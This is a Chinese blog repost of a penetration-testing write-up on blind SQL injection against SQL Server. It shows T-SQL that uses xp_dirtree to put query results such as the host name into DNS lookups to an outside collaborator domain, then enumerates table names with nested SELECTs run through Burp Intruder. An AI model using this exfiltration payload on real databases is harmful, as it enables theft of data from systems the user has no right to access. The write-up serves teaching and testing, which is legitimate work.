如何使用DNS和SQLi从库中获取数据样本

这期内容当中小编将会给大家带来有关如何使用DNS和SQLi从库中获取数据样本,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

泄露数据的方法有许多,但你是否知道可以使用DNS和SQLi从数据库中获取数据样本?下面我将为大家介绍一些利用SQL盲注从DB服务器枚举和泄露数据的技术。

在最近的一个Web应用测试中,我发现了一个潜在的SQLi漏洞。使用Burp的Collaborator服务通过DNS交互最终我确认了该SQL注入漏洞的存在。我尝试使用SQLmap进行一些额外的枚举和泄露,但由于SQLmap header的原因WAF阻止了我的请求。我需要另一种方法来验证SQLi并显示可以从服务器恢复数据。

如何使用DNS和SQLi从库中获取数据样本

在之前的文章中,我向大家展示了如何使用xp_dirtree通过SQLi来捕获SQL Server用户哈希值的方法。这里我尝试了相同的方法,但由于客户端防火墙上的出站过滤而失败了。此外,在上篇文章中我还引用了GracefulSecurity的文章内容,而在本文中它也将再次派上用场。

即使有出站过滤,xp_dirtree仍可用于从网络中泄露数据。这是因为SQL服务器必须在xp_dirtree操作的目标上执行DNS查找。因此,我们可以将数据添加为域名的主机或子域部分。例如,如果我在collaborator.redsiege.net上设置DNS服务器,我可以强制xp_dirtree在data.collaborator.redsiege.net上执行DNS查找,我的DNS服务器将接收该主机的查询,允许我提取来自请求的数据。可能这么说你还有些混乱,我们通过一个实例来讲解。

请思考以下代码:

DECLARE @data varchar(1024);
SELECT @data = (SELECT HOST_NAME()); 
EXEC('master.dbo.xp_dirtree "//'+@data+'.collaborator.redsiege.net/foo$"');

在此SQL查询中,我们声明了一个名为data的变量,我们使用SELECT HOST_NAME()的结果来填充该变量,然后在//hostname.collaborator.redsiege.net上尝试xp_dirtree。

如何使用DNS和SQLi从库中获取数据样本

我的测试系统名为INTRUDER。在我的测试系统上执行这个查询导致了对INTRUDER.collaborator.redsiege.net的查找,如下所示。

如何使用DNS和SQLi从库中获取数据样本

在这一点上,我知道有一种可靠的方法可以来泄露数据,即使需要手动完成。当然,对于这个演示我使用SQL Server Management Studio来显示结果发出查询,但实际上这与通过SQLi实现这一点并没有太大区别,唯一的不同就是需要对部分查询进行URL编码。

在下面的示例中,红框中的查询语句将会为我们从Northwind数据库中返回表名。

如何使用DNS和SQLi从库中获取数据样本

在该查询中你应该已经注意到了有2个SELECT语句。内部SELECT语句(在上面截图中调用的)返回Northwind数据库中表名的前10个结果,并按升序字母顺序排序。然后,外部(第一个)SELECT语句选择按字母顺序降序排序的结果集的第一个结果。此查询的结果是我们检索Northwind数据库中第10个表的名称。你是不是感到有些疑惑?让我们来分解下。

以下内部的SELECT语句,它将返回10个结果并按升序字母顺序排序。

如何使用DNS和SQLi从库中获取数据样本

如下所示,完整的查询只返回第10个表的名称。这是因为我们首先返回了10个结果,并按升序字母顺序排序,然后我们又执行了第二个SELECT,其中只返回按降序字母顺序排序的第一个结果。这样一来查询结果将只会为我们返回表名列表中的第10个结果。

如何使用DNS和SQLi从库中获取数据样本

知道了这一点后,我们就可以使用Intruder迭代所有可能的表名,只需修改第二个SELECT语句并增加每个请求中的结果数即可。

如何使用DNS和SQLi从库中获取数据样本

上述就是小编为大家分享的如何使用DNS和SQLi从库中获取数据样本了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。

原创文章,作者:3628473679,如若转载,请注明出处:https://blog.ytso.com/221859.html

(0)
上一篇 2022年1月4日
下一篇 2022年1月4日

相关推荐

发表回复

登录后才能评论